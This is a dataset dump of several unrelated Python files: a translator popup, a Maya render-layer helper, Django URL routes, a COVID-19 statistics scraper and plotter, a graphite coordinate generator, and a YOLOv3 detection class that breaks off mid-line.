self.popup.geometry(\"%dx%d+%d+%d\" % (popup_width, popup_height, cursor_pos_x + 5, cursor_pos_y + 5))\n\n def __set_evenbinding(self):\n # What to do if popup is out of focus? (close the popup)\n self.popup.bind('', self.__on_focus_out)\n\n # What to do is a key (or hotkey) is pressed\n self.popup.bind('', self.__on_key_pressed)\n\n def __set_focus(self):\n ''' Force to focus on the popup when it's displayed '''\n self.popup.focus_force()\n\n def __on_focus_out(self, event):\n ''' Close the popup when clicking anywhere outside of it '''\n if self.conf.get_is_close_popup_when_outoffocus():\n self.popup.destroy()\n\n def __on_key_pressed(self, event):\n ''' Close the popup when the starting hotkey is press\n Details: When the next text is translated, the current popup is closed and the new popup is shown.\n This is useful when translating items in the UI content menu. '''\n if keyboard.is_pressed(self.conf.get_hotkey()):\n self.popup.destroy()","sub_path":"PopupTranslator/PopupTranslator/src/popup.py","file_name":"popup.py","file_ext":"py","file_size_in_byte":5626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"129259503","text":"#Zed Benntt 2010\n#Remove selection and all descendants from current render layer\n\nimport maya.cmds as cmds\ndef RLremove():\n currentLayer=cmds.editRenderLayerGlobals(q=1,crl=1)\n cmds.select(hi=1)\n sel=cmds.ls(sl=1, fl=1)\n for each in sel:\n cmds.editRenderLayerMembers(currentLayer, each, r=1)","sub_path":"scripts/python/maya/lighting/zb_RLremove.py","file_name":"zb_RLremove.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"593652856","text":"from django.urls import include, path\nfrom django.conf.urls import url\n\nfrom . import views\n\napp_name = \"warehouse_viewer\"\nurlpatterns = [\n url(r'^warehouse_viewer/$', views.viewer, name=\"viewer\"),\n url(r'^index/$', views.viewer, name=\"index\"),\n url(r'^$', views.viewer, name=\"index-blank\"),\n url(r'^upload/$', views.upload, name=\"upload\"),\n url(r'^adv_search/$', views.adv_search, name=\"adv_search\"),\n\n url(r'^search_ajax/$', views.search_ajax, name=\"search_ajax\"),\n url(r'^adv_search_ajax/$', views.adv_search_ajax, name=\"adv_search_ajax\"),\n path('update_loc/', views.update_locs, name=\"update_locs\"),\n # url(r'^request_grid_map_ajax/$', ajax_func.get_grid_ajax, name=\"request_grid_map_ajax\"),\n # url(r'^request_date_ajax/$', ajax_func.get_proc_dates, name=\"request_date_ajax\"),\n # url(r'^request_map_search_info_ajax/$', ajax_func.get_map_search_info, name=\"request_map_search_info\"),\n # url(r'^date_del_ajax/$', ajax_func.delete_by_date, name=\"date_by_date\"),\n]","sub_path":"warehouse_viewer/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"419105780","text":"from requests import get\nimport requests\nfrom requests.exceptions import RequestException\nfrom contextlib import closing\nfrom bs4 import BeautifulSoup\nimport itertools\nimport pandas as pd\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom datetime import datetime, timedelta\n\n#\n# functions to access web sites to scrape and confirm the web site is good\n#\ndef simple_get(url):\n \"\"\"\n Attempts to get the content at `url` by making an HTTP GET request.\n If the content-type of response is some kind of HTML/XML, return the\n text content, otherwise return None.\n \"\"\"\n try:\n with closing(get(url, stream=True)) as resp:\n if is_good_response(resp):\n return resp.content\n else:\n return None\n\n except RequestException as e:\n log_error('Error during requests to {0} : {1}'.format(url, str(e)))\n return None\n\n\ndef is_good_response(resp):\n \"\"\"\n Returns True if the response seems to be HTML, False otherwise.\n \"\"\"\n content_type = resp.headers['Content-Type'].lower()\n return (resp.status_code == 200\n and content_type is not None\n and content_type.find('html') > -1)\n\n\ndef log_error(e):\n \"\"\"\n It is always a good idea to log errors. \n This function just prints them, but you can\n make it do anything.\n \"\"\"\n print(e)\n\n#\n# since data is updated around 11:30pm easter, find yesterday's day after midnight to get latest update\n# and pdate url to scrape with yesterday's date\n#\ndate_yesterday = datetime.strftime(datetime.now() - timedelta(1), '%m-%d-%Y')\nurl_date_yesterday = 'https://github.com/CSSEGISandData/COVID-19/blob/master/csse_covid_19_data/csse_covid_19_daily_reports/' + str(date_yesterday) + '.csv'\n\n#\n# scrape country, deaths, confirmed cases from CSEE Johns Hopkins University (JHU)\n#\ncountries_unique = pd.DataFrame()\njhu_raw_html = simple_get(url_date_yesterday)\njhu_soup = BeautifulSoup(jhu_raw_html, 'lxml')\njhu_table = jhu_soup.find_all('table')[0]\njhu_df = pd.read_html(str(jhu_table))[0]\ncountries_unique['jhu'] = jhu_df['Country_Region'].unique()\n\n#\n# sum confirmed cases, deaths columns per country from JHU\n#\ncountry_records_sum = pd.DataFrame()\ncountry_totals = pd.DataFrame()\nfor country in countries_unique['jhu']:\n country_records = jhu_df.loc[jhu_df['Country_Region'] == country, ['Country_Region', 'Confirmed', 'Deaths']]\n country_records_sum.at[0, 'Country'] = country\n country_records_sum.at[0, 'Confirmed'] = (country_records['Confirmed']).sum()\n country_records_sum.at[0, 'Deaths'] = (country_records['Deaths']).sum()\n country_records_sum.at[0, \"Population\"] = ''\n country_totals = country_totals.append(country_records_sum, ignore_index=True)\n\n#\n# scrape population by country data from World of Meters (WoM)\n#\nwom_pop_html = simple_get('https://www.worldometers.info/world-population/population-by-country')\nwom_pop_countries_unique = pd.DataFrame()\nwom_pop_soup = BeautifulSoup(wom_pop_html, 'lxml')\nwom_pop_table = wom_pop_soup.find_all('table')[0]\nwom_pop_df = pd.read_html(str(wom_pop_table))[0]\nwom_pop_countries_unique['wom_pop'] = wom_pop_df['Country (or dependency)'].unique()\ncountries_unique = pd.concat([countries_unique, wom_pop_countries_unique], axis=1)\ncountries_unique.to_excel(\"CountriesUnique.xlsx\")\n\n#\n# list of countries that are common to beoth JHU and WoM\n#\ncommon = list(set(countries_unique['jhu']) & set(countries_unique['wom_pop']))\n\n#\n# add countries from JHU to common that are not in WoM\n#\ncommon.append('US')\ncommon.append('Taiwan*')\ncommon.append('Cote d\\'Ivoire')\ncommon.append('Czechia')\ncommon.append('Korea, South')\n#common.append('Saint Kitts and Nevis')\ncommon.append('Saint Vincent and the Grenadines')\n\n#\n# assign country names from WoM to JHU so can look up population from WoM\n#\nfor country in common:\n new_country = ''\n if country == 'US':\n new_country = 'United States'\n elif country == 'Taiwan*':\n new_country = 'Taiwan'\n elif country == 'Cote d\\'Ivoire':\n new_country = 'Côte d\\'Ivoire'\n elif country == 'Czechia':\n new_country = 'Czech Republic (Czechia)'\n elif country == 'Korea, South':\n new_country = 'South Korea'\n# elif country == 'Saint Kitts and Nevis':\n# new_country == 'Saint Kitts & Nevis'\n elif country == 'Saint Vincent and the Grenadines':\n new_country = 'St. Vincent & Grenadines'\n else:\n new_country = country\n\n#\n# add 'Population' column to country_totals dataframe\n#\n country_population = wom_pop_df.loc[wom_pop_df['Country (or dependency)'] == new_country, ['Country (or dependency)', 'Population (2020)']]\n this_population = country_population['Population (2020)']\n country_totals.loc[country_totals['Country'] == country, ['Population']] = int(this_population)\n\n#\n# remove countries for whom I couldn't get population data\n#\ncountry_totals['Population'].replace('', np.nan, inplace=True)\ncountry_totals.dropna(subset=['Population'], inplace=True)\n\n#\n# calculate per capita data and multiply times 100 to make it a percent\n#\ncountry_totals['Confirmed/Population'] = (country_totals['Confirmed']/country_totals['Population']) * 100\ncountry_totals['Deaths/Confirmed'] = (country_totals['Deaths'] /country_totals['Confirmed']) * 100\ncountry_totals.sort_values(by=['Confirmed'], inplace=True, ascending=False)\ncountry_totals.to_excel(\"CountryTotals.xlsx\")\n\n#\n# variable to define minimum number of confirmed cases when pulling countries to display\n#\ncase_limit = 2000\n\n#\n# create x, y bar chart for total confirmed cases per country\n#\ncountry_totals_list_confirmed = country_totals.loc[country_totals['Confirmed'] > case_limit]\ncountry_totals_list_confirmed.sort_values(by=['Confirmed'], inplace=True, ascending=False)\ncountry_totals_list_confirmed.to_excel(\"CountryTotalsList.xlsx\", sheet_name='SortedConfirmed')\ncountry_totals_list_confirmed.plot(kind='bar', x='Country', y='Confirmed')\nplt.title('Confirmed Corona Virus Cases per Country (2000 Cases or More)')\nplt.ylabel('# Confirmed Cases')\nplt.grid(axis='y')\n\n#\n# create x, y bar chart for total deaths per country\n#\ncountry_totals_list_deaths = country_totals.loc[country_totals['Confirmed'] > case_limit]\ncountry_totals_list_deaths.sort_values(by=['Deaths'], inplace=True, ascending=False)\ncountry_totals_list_deaths.to_excel(\"CountryTotalsDeaths.xlsx\", sheet_name='SortedDeaths')\ncountry_totals_list_deaths.plot(kind='bar', x='Country', y='Deaths')\nplt.title('Deaths Total per Country (for Countries with at least 2000 Confirmed Cases)')\nplt.ylabel('# of Deaths')\nplt.grid(axis='y')\n\n#\n# create x, y bar chart for % confirmed cases per capita by country\n#\ncountry_totals_list_confirmedpercent = country_totals.loc[country_totals['Confirmed'] > case_limit]\ncountry_totals_list_confirmedpercent.sort_values(by=['Confirmed/Population'], inplace=True, ascending=False)\ncountry_totals_list_confirmedpercent.to_excel(\"CountryTotalsListConfirmedPercent.xlsx\", sheet_name='ConfirmedPercent')\ncountry_totals_list_confirmedpercent.plot(kind='bar', x='Country', y='Confirmed/Population')\nplt.title('Confirmed Corona Virus Cases as a Fraction of Country Population (for Countries with at least 2000 Confirmed Cases)')\nplt.ylabel('(%) Confirmed Cases / Population')\nplt.grid(axis='y')\n\n#\n# create x, y bar chart for % deaths as fraction of confirmed cases per country\n#\ncountry_totals_list_deathspercent = country_totals.loc[country_totals['Confirmed'] > case_limit]\ncountry_totals_list_deathspercent.sort_values(by=['Deaths/Confirmed'], inplace=True, ascending=False)\ncountry_totals_list_deathspercent.to_excel(\"CountryTotalsListDeathsPercent.xlsx\", sheet_name='DeathsPercent')\ncountry_totals_list_deathspercent.plot(kind='bar', x='Country', y='Deaths/Confirmed')\nplt.title('Deaths from Corona Virus Cases as a Fraction of Confirmed Cases (for Countries with at least 2000 Confirmed Cases)')\nplt.ylabel('(%) Deaths / Confirmed Cases')\nplt.grid(axis='y')\n\n\n#\n# time series charts\n#\n\n#\n# scrape country, deaths, confirmed cases from CSEE Johns Hopkins University (JHU)\n#\ncountries_unique_ts_confirmed = pd.DataFrame()\njhu_ts_confirmed_raw_html = simple_get(\n 'https://github.com/CSSEGISandData/COVID-19/blob/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_confirmed_global.csv')\njhu_ts_confirmed_soup = BeautifulSoup(jhu_ts_confirmed_raw_html, 'lxml')\njhu_ts_confirmed_table = jhu_ts_confirmed_soup.find_all('table')[0]\njhu_ts_confirmed_df = pd.read_html(str(jhu_ts_confirmed_table))[0]\ncountries_unique_ts_confirmed['jhu'] = jhu_ts_confirmed_df['Country/Region'].unique()\njhu_ts_confirmed_df.to_excel(\"JHUTimeSeriesConfirmed.xlsx\")\n\ncountries_unique_ts_deaths = pd.DataFrame()\njhu_ts_deaths_raw_html = simple_get(\n 'https://github.com/CSSEGISandData/COVID-19/blob/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_deaths_global.csv')\njhu_ts_deaths_soup = BeautifulSoup(jhu_ts_deaths_raw_html, 'lxml')\njhu_ts_deaths_table = jhu_ts_deaths_soup.find_all('table')[0]\njhu_ts_deaths_df = pd.read_html(str(jhu_ts_deaths_table))[0]\ncountries_unique_ts_deaths['jhu'] = jhu_ts_deaths_df['Country/Region'].unique()\njhu_ts_deaths_df.to_excel(\"JHUTimeSeriesDeaths.xlsx\")\n\njhu_ts_confirmed_diff_df = jhu_ts_confirmed_df\njhu_ts_confirmed_diff_columns = list(jhu_ts_confirmed_diff_df.columns.values)\ndel jhu_ts_confirmed_diff_columns[0:5]\n\n\n\n\n#\n# sum confirmed cases, deaths columns per country from JHU\n#\ncountry_records_ts_confirmed_sum = pd.DataFrame()\ncountry_totals_ts_confirmed = pd.DataFrame()\njhu_ts_confirmed_df_columns = list(jhu_ts_confirmed_df.columns.values)\ndel jhu_ts_confirmed_df_columns[0:5]\nfor country in countries_unique_ts_confirmed['jhu']:\n for column in jhu_ts_confirmed_df.columns[5:]:\n country_records_ts_confirmed = jhu_ts_confirmed_df.loc[jhu_ts_confirmed_df['Country/Region'] == country]\n country_records_ts_confirmed_sum.at[0, 'Country'] = str(country)\n country_records_ts_confirmed_sum.at[0, column] = country_records_ts_confirmed[column].sum()\n country_totals_ts_confirmed = country_totals_ts_confirmed.append(country_records_ts_confirmed_sum, ignore_index=True)\ncountry_totals_ts_confirmed.to_excel(\"CountryTotalsTSConfirmed.xlsx\")\ncountry_records_ts_confirmed = jhu_ts_confirmed_df.loc[jhu_ts_confirmed_df['Country/Region'] == country]\ncountry_totals_ts_confirmed.set_index('Country', inplace=True)\ndf_transpose = country_totals_ts_confirmed.transpose()\ndf_transpose.to_excel(\"Transposed.xlsx\")\n\n\ncountry_records_ts_deaths_sum = pd.DataFrame()\ncountry_totals_ts_deaths = pd.DataFrame()\njhu_ts_deaths_df_columns = list(jhu_ts_deaths_df.columns.values)\ndel jhu_ts_deaths_df_columns[0:5]\nfor country in countries_unique_ts_deaths['jhu']:\n for column in jhu_ts_deaths_df.columns[5:]:\n country_records_ts_deaths = jhu_ts_deaths_df.loc[jhu_ts_deaths_df['Country/Region'] == country]\n country_records_ts_deaths_sum.at[0, 'Country'] = str(country)\n country_records_ts_deaths_sum.at[0, column] = country_records_ts_deaths[column].sum()\n country_totals_ts_deaths = country_totals_ts_deaths.append(country_records_ts_deaths_sum, ignore_index=True)\ncountry_totals_ts_deaths.to_excel(\"CountryTotalsTSDeaths.xlsx\")\ncountry_records_ts_deaths = jhu_ts_deaths_df.loc[jhu_ts_deaths_df['Country/Region'] == country]\ncountry_totals_ts_deaths.set_index('Country', inplace=True)\ndf_transpose_deaths = country_totals_ts_deaths.transpose()\ndf_transpose_deaths.to_excel(\"TransposedDeaths.xlsx\")\n\n\nx_ticks = range(0, len(df_transpose_deaths) + 10)\nx_labels = df_transpose_deaths.index.values\nline_labels = pd.DataFrame(columns=['Country', 'x', 'y'])\ncountry_column = df_transpose_deaths.columns\nline_labels_temp = pd.DataFrame()\nfor country in country_column:\n line_labels_temp.at[0, 'Country'] = country\n line_labels_temp.at[0, 'y'] = int(df_transpose_deaths[country].max())\n line_labels = line_labels.append(line_labels_temp, ignore_index=True)\nline_labels['x'] = len(df_transpose_deaths)\n\n'''\ndeaths_world_plot = df_transpose_deaths.plot(kind='line', x=df_transpose_deaths.index, y=df_transpose_deaths.columns, xticks=x_ticks, legend=False)\nplt.xticks(rotation=90, fontsize='small')\nplt.title('Confirmed Corona Virus Deaths Around the World')\nplt.ylabel('# of Deaths')\ndeaths_world_plot.set_facecolor('#cceeff')\nplt.grid(linestyle=':', linewidth='0.5', color='gray')\nfor key, row in line_labels.iterrows():\n country = row['Country']\n x = row['x']\n y = row['y']\n print(country + ' - ' + str(x) + ' - ' + str(y))\n plt.annotate(country, (x, y), ha='left', va='center', fontsize=8)\n'''\n\ndf_transpose_min_deaths = pd.DataFrame()\nfor country in line_labels['Country']:\n df_transpose_deaths_temp = df_transpose_deaths.loc[df_transpose_deaths[country] > 0, [country]]\n if len(df_transpose_deaths_temp) > 0:\n df_transpose_deaths_temp.reset_index(inplace=True)\n print(df_transpose_deaths_temp)\n df_transpose_min_deaths = pd.concat([df_transpose_min_deaths, df_transpose_deaths_temp[country]], axis=1)\ndf_transpose_min_deaths.to_excel(\"MinDeaths.xlsx\")\n\nx_ticks = range(0, len(df_transpose_min_deaths) + 10)\nx_labels = df_transpose_min_deaths.index.values\nline_labels = pd.DataFrame(columns=['Country', 'x', 'y'])\ncountry_column = df_transpose_min_deaths.columns\nline_labels_temp = pd.DataFrame()\nfor country in country_column:\n line_labels_temp.at[0, 'Country'] = country\n line_labels_temp.at[0, 'y'] = int(df_transpose_min_deaths[country].max())\n line_labels = line_labels.append(line_labels_temp, ignore_index=True)\nline_labels['x'] = len(df_transpose_min_deaths)\n\ndeaths_world_time_zero_plot = df_transpose_min_deaths.plot(kind='line', x=df_transpose_min_deaths.index, y=df_transpose_min_deaths.columns, xticks=x_ticks, legend=False)\nplt.xticks(rotation=90, fontsize='small')\nplt.title('Confirmed Corona Virus Deaths Around the World - Days Elapsed Since Time 0 (0 Deaths)')\nplt.ylabel('# of Deaths Since Time Zero')\nplt.xlabel('# of Days Elapsed')\ndeaths_world_time_zero_plot.set_facecolor('#cceeff')\nplt.grid(linestyle=':', linewidth='0.5', color='gray')\nfor key, row in line_labels.iterrows():\n country = row['Country']\n x = row['x']\n y = row['y']\n print(country + ' - ' + str(x) + ' - ' + str(y))\n plt.annotate(country, (x, y), ha='left', va='center', fontsize=8)\n\n\n#\n# time series data line graphs for all countries (plan of record)\n#\nx_ticks = range(0, len(df_transpose) + 10)\nx_labels = df_transpose.index.values\nline_labels = pd.DataFrame(columns=['Country', 'x', 'y'])\ncountry_column = df_transpose.columns\nline_labels_temp = pd.DataFrame()\nfor country in country_column:\n line_labels_temp.at[0, 'Country'] = country\n line_labels_temp.at[0, 'y'] = int(df_transpose[country].max())\n line_labels = line_labels.append(line_labels_temp, ignore_index=True)\nline_labels['x'] = len(df_transpose)\nprint(line_labels)\n\ncases_world_plot = df_transpose.plot(kind='line', x=df_transpose.index, y=df_transpose.columns, xticks=x_ticks, legend=False)\nplt.xticks(rotation=90, fontsize='small')\nplt.title('Confirmed Corona Virus Cases Around the World')\nplt.ylabel('# of Confirmed Cases')\ncases_world_plot.set_facecolor('#cceeff')\nplt.grid(linestyle=':', linewidth='0.5', color='gray')\nfor key, row in line_labels.iterrows():\n country = row['Country']\n x = row['x']\n y = row['y']\n print(country + ' - ' + str(x) + ' - ' + str(y))\n plt.annotate(country, (x, y), ha='left', va='center', fontsize=8)\n\n#\n# time series data line graphs based on time 0 alignment for all countries with minimal # of cases (days since cases = xxx)\n#\ndf_transpose_min_cases = pd.DataFrame()\nfor country in line_labels['Country']:\n df_transpose_temp = df_transpose.loc[df_transpose[country] >= 1000, [\n country]]\n if len(df_transpose_temp) > 0:\n df_transpose_temp.reset_index(inplace=True)\n print(df_transpose_temp)\n df_transpose_min_cases = pd.concat([df_transpose_min_cases, df_transpose_temp[country]], axis=1)\ndf_transpose_min_cases.to_excel(\"MinCases.xlsx\")\n\nx_ticks = range(0, len(df_transpose_min_cases) + 10)\nx_labels = df_transpose_min_cases.index.values\nline_labels = pd.DataFrame(columns=['Country', 'x', 'y'])\ncountry_column = df_transpose_min_cases.columns\nline_labels_temp = pd.DataFrame()\nfor country in country_column:\n line_labels_temp.at[0, 'Country'] = country\n line_labels_temp.at[0, 'y'] = int(df_transpose_min_cases[country].max())\n line_labels = line_labels.append(line_labels_temp, ignore_index=True)\nline_labels['x'] = len(df_transpose_min_cases)\n\nline_labels.to_excel(\"LineLabels.xlsx\")\n\n\ncases_since_time_zero_plot = df_transpose_min_cases.plot(kind='line', x=df_transpose_min_cases.index, y=df_transpose_min_cases.columns, xticks=x_ticks, legend=False)\nplt.xticks(rotation=90, fontsize='small')\nplt.title('Confirmed Corona Virus Cases Around the World - Days Elapsed Since 1000 Cases')\nplt.ylabel('# of Confirmed Cases')\nplt.xlabel('# of Days Elapsed Since 1000 Cases')\ncases_since_time_zero_plot.set_facecolor('#cceeff')\nplt.grid(linestyle=':', linewidth='0.5', color='gray')\nfor key, row in line_labels.iterrows():\n country = row['Country']\n x = row['x']\n y = row['y']\n print(country + ' - ' + str(x) + ' - ' + str(y))\n plt.annotate(country, (x, y), ha='left', va='center', fontsize=8)\n\n\n#\n# Daily new confirmed cases\n#\ni = 1\ndiff_df_temp = pd.DataFrame()\ntotal_columns = len(country_totals_ts_confirmed.columns)\nprint('Total columns = ' + str(total_columns))\nthiscolname = country_totals_ts_confirmed.columns.values[total_columns - 1]\ncases_threshold = country_totals_ts_confirmed.loc[country_totals_ts_confirmed[thiscolname] >= 10000]\nprint(cases_threshold)\nfor index in range(cases_threshold.shape[1] - 1):\n colname = cases_threshold.columns[index + i]\n prevcolname = cases_threshold.columns[index + i - 1]\n diff_df_temp[colname] = cases_threshold[colname] - cases_threshold[prevcolname]\n diff_df_temp.to_excel(\"Difference.xlsx\")\n\ndiff_df = pd.DataFrame()\ndiff_df = diff_df_temp\n\ndiff_transpose_df = diff_df.transpose()\ndiff_transpose_df.to_excel(\"DifferenceTranspose.xlsx\")\n\nx_ticks = range(0, len(diff_transpose_df) + 10)\nx_labels = diff_transpose_df.index.values\nline_labels = pd.DataFrame(columns=['Country', 'x', 'y'])\ncountry_column = diff_transpose_df.columns\nline_labels_temp = pd.DataFrame()\nfor country in country_column:\n line_labels_temp.at[0, 'Country'] = country\n line_labels_temp.at[0, 'y'] = int(diff_transpose_df[country].iloc[-1])\n line_labels = line_labels.append(line_labels_temp, ignore_index=True)\nline_labels['x'] = len(diff_transpose_df)\n\ndaily_new_cases_plot = diff_transpose_df.plot(kind='line', x=diff_transpose_df.index, y=diff_transpose_df.columns, xticks=x_ticks, legend=False, title=\"Daily New Cases\")\nplt.xticks(rotation=90, fontsize='small')\nplt.title('Number of Daily New Confirmed Cases per Country (Countries with 10K or More Cases)')\nplt.ylabel('# of Daily New Confirmed Cases')\nplt.xlabel('Date')\n#plt.ylim(0, 50000)\ndaily_new_cases_plot.set_facecolor('#cceeff')\nplt.grid(linestyle=':', linewidth='0.5', color='gray')\n#plt.legend()\nfor key, row in line_labels.iterrows():\n country = row['Country']\n x = row['x']\n y = row['y']\n plt.annotate(country, (x, y), ha='left', va='center', fontsize=6)\n\n\n\nplt.show()\n\n","sub_path":"GlobalCoronaDailyInfections.py","file_name":"GlobalCoronaDailyInfections.py","file_ext":"py","file_size_in_byte":19358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"379426287","text":"from decimal import Decimal as dec\nimport numpy as np\nfrom math import radians as rad\n\n#Vectors definition\na = 2.4640\na1x = a*np.sin(rad(30))\na1y = a*np.cos(rad(30))\n\n# R_0 definition\n#atom 1\nrx = [2.456, 3.684]\nry = [-2.83594, -2.12696]\n\npositions = []\ncorddinates = []\n\nfor k in range(0,2,1):\n for n in range(0,5,1):\n for j in range(0,5,1):\n positions.append('%.7f' % dec( rx[k] + n*a1x + j*a1x ) ) # x cordinates\n positions.append('%.7f' % dec( ry[k] + n*a1y - j*a1y ) ) # y cordinates\n corddinates.append(positions.copy())\n positions.clear()\n\narquivo = open(\"grafite.xyz\",\"w\")\narquivo.write(\"{}\\n\\n\".format(len(corddinates)))\n\nfor t in range(0,3,1):\n for item in corddinates:\n arquivo.write('C\\t{0[0]}\\t{0[1]}\\t {1}.00000000\\n'.format(item,3*t))\n","sub_path":"ts.py","file_name":"ts.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"462546983","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/12/6 10:50\n# @Author : panzi\n# @Site : yolo模型预测\n# @File : yolo3_predict.py\n# @Software: PyCharm Community Edition\n\nimport colorsys\nimport os\nfrom timeit import default_timer as timer\nimport numpy as np\nfrom keras import backend as K\nfrom keras.models import load_model\nfrom keras.layers import Input\nfrom PIL import Image, ImageFont, ImageDraw\nfrom yolo3.model import yolo_eval, yolo_body, tiny_yolo_body\nfrom yolo3.utils import letterbox_image\nimport os\nfrom keras.utils import multi_gpu_model\nfrom keras.utils import plot_model\nimport cv2\nfrom PIL import Image\nfrom config import YOLO3Config as C\nimport tensorflow as tf\nfrom pub.Lkmeans import AGNES,box_dist,idokonw\nfrom pub.RedChannel import GetRedC\nimport ctpn_predict\n\nclass YOLO3:\n\n def __init__(self):\n\n if C.USE_GPU:\n # 如果使用GPU\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = C.gpu_id # 使用 GPU 0和1\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n sess = tf.Session(config=config)\n K.set_session(sess)\n\n self.model_path = C.model_path\n self.anchors_path = C.anchors_path\n self.classes_path = C.classes_path\n self.score = C.score\n self.iou = C.iou\n self.model_image_size = C.input_shape\n\n self.class_names = self._get_class()\n self.anchors = self._get_anchors()\n self.sess = K.get_session()\n self.boxes, self.scores, self.classes = self.generate()\n self.colors = self.__get_colors(self.class_names)\n\n\n def _get_class(self):\n classes_path = os.path.expanduser(self.classes_path)\n with open(classes_path) as f:\n class_names = f.readlines()\n class_names = [c.strip() for c in class_names]\n return class_names\n\n def _get_anchors(self):\n anchors_path = os.path.expanduser(self.anchors_path)\n with open(anchors_path) as f:\n anchors = f.readline()\n anchors = [float(x) for x in anchors.split(',')]\n return np.array(anchors).reshape(-1, 2)\n\n\n @staticmethod\n def __get_colors(names):\n # 不同的框,不同的颜色\n hsv_tuples = [(float(x) / len(names), 1., 1.)\n for x in range(len(names))] # 不同颜色\n colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples))\n colors = list(map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)), colors)) # RGB\n np.random.seed(10101)\n np.random.shuffle(colors)\n np.random.seed(None)\n\n return colors\n\n def generate(self):\n model_path = os.path.expanduser(self.model_path) # 转换~\n assert model_path.endswith('.h5'), 'Keras model or weights must be a .h5 file.'\n\n num_anchors = len(self.anchors) # anchors的数量\n num_classes = len(self.class_names) # 类别数\n\n\n self.yolo_model = yolo_body(Input(shape=(416, 416, 3)), 3, num_classes)\n self.yolo_model.load_weights(model_path) # 加载模型参数\n\n print('{} model, {} anchors, and {} classes loaded.'.format(model_path, num_anchors, num_classes))\n\n # 根据检测参数,过滤框\n self.input_image_shape = K.placeholder(shape=(2,))\n boxes, scores, classes = yolo_eval(\n self.yolo_model.output, self.anchors, len(self.class_names),\n self.input_image_shape, score_threshold=self.score, iou_threshold=self.iou)\n return boxes, scores, classes\n\n\n def predict(self,image,image_path=''):\n '''\n 真正的预测函数\n :param image:\n :return:\n '''\n start = timer() # 起始时间\n if self.model_image_size != (None, None): # 416x416, 416=32*13,必须为32的倍数,最小尺度是除以32\n assert self.model_image_size[0] % 32 == 0, 'Multiples of 32 required'\n assert self.model_image_size[1] % 32 == 0, 'Multiples of 32 required'\n boxed_image = letterbox_image(image, tuple(reversed(self.model_image_size))) # 填充图像\n else:\n new_image_size = (image.width - (image.width % 32), image.height - (image.height % 32))\n boxed_image = letterbox_image(image, new_image_size)\n image_data = np.array(boxed_image, dtype='float32')\n print('detector size {}'.format(image_data.shape))\n image_data /= 255. # 转换0~1\n image_data = np.expand_dims(image_data, 0) # 添加批次维度,将图片增加1维\n\n # 参数盒子、得分、类别;输入图像0~1,4维;原始图像的尺寸\n out_boxes, out_scores, out_classes = self.sess.run(\n [self.boxes, self.scores, self.classes],\n feed_dict={\n self.yolo_model.input: image_data,\n self.input_image_shape: [image.size[1], image.size[0]],\n K.learning_phase(): 0\n })\n\n result = []\n for i, c in reversed(list(enumerate(out_classes))):\n predicted_class = self.class_names[c] # 类别\n box = out_boxes[i] # 框\n score = out_scores[i] # 执行度\n label = '{} {:.2f}'.format(predicted_class, score) # 标签\n top, left, bottom, right = box\n top = max(0, np.floor(top + 0.5).astype('int32'))\n left = max(0, np.floor(left + 0.5).astype('int32'))\n bottom = min(image.size[1], np.floor(bottom + 0.5).astype('int32'))\n right = min(image.size[0], np.floor(right + 0.5).astype('int32'))\n print(label, (left, top), (right, bottom)) # 边框\n result.append([c,predicted_class,score,[left, top, right, bottom]])\n return (image_path,result)\n\n def detect_image(self, image):\n start = timer() # 起始时间\n\n if self.model_image_size != (None, None): # 416x416, 416=32*13,必须为32的倍数,最小尺度是除以32\n assert self.model_image_size[0] % 32 == 0, 'Multiples of 32 required'\n assert self.model_image_size[1] % 32 == 0, 'Multiples of 32 required'\n boxed_image = letterbox_image(image, tuple(reversed(self.model_image_size))) # 填充图像\n else:\n new_image_size = (image.width - (image.width % 32), image.height - (image.height % 32))\n boxed_image = letterbox_image(image, new_image_size)\n image_data = np.array(boxed_image, dtype='float32')\n print('detector size {}'.format(image_data.shape))\n image_data /= 255. # 转换0~1\n image_data = np.expand_dims(image_data, 0) # 添加批次维度,将图片增加1维\n\n # 参数盒子、得分、类别;输入图像0~1,4维;原始图像的尺寸\n out_boxes, out_scores, out_classes = self.sess.run(\n [self.boxes, self.scores, self.classes],\n feed_dict={\n self.yolo_model.input: image_data,\n self.input_image_shape: [image.size[1], image.size[0]],\n K.learning_phase(): 0\n })\n\n print('Found {} boxes for {}'.format(len(out_boxes), 'img')) # 检测出的框\n\n font = ImageFont.truetype(font='font/FiraMono-Medium.otf',\n size=np.floor(1e-2 * image.size[1] + 0.5).astype('int32')) # 字体\n thickness = (image.size[0] + image.size[1]) // 777 # 厚度\n for i, c in reversed(list(enumerate(out_classes))):\n predicted_class = self.class_names[c] # 类别\n box = out_boxes[i] # 框\n score = out_scores[i] # 执行度\n\n label = '{} {:.2f}'.format(predicted_class, score) # 标签\n draw = ImageDraw.Draw(image) # 画图\n label_size = draw.textsize(label, font) # 标签文字\n\n top, left, bottom, right = box\n top = max(0, np.floor(top + 0.5).astype('int32'))\n left = max(0, np.floor(left + 0.5).astype('int32'))\n bottom = min(image.size[1], np.floor(bottom + 0.5).astype('int32'))\n right = min(image.size[0], np.floor(right + 0.5).astype('int32'))\n print(label, (left, top), (right, bottom)) # 边框\n\n if top - label_size[1] >= 0: # 标签文字\n text_origin = np.array([left, top - label_size[1]])\n else:\n text_origin = np.array([left, top + 1])\n\n # My kingdom for a good redistributable image drawing library.\n for i in range(thickness): # 画框\n draw.rectangle(\n [left + i, top + i, right - i, bottom - i],\n outline=self.colors[c])\n draw.rectangle( # 文字背景\n [tuple(text_origin), 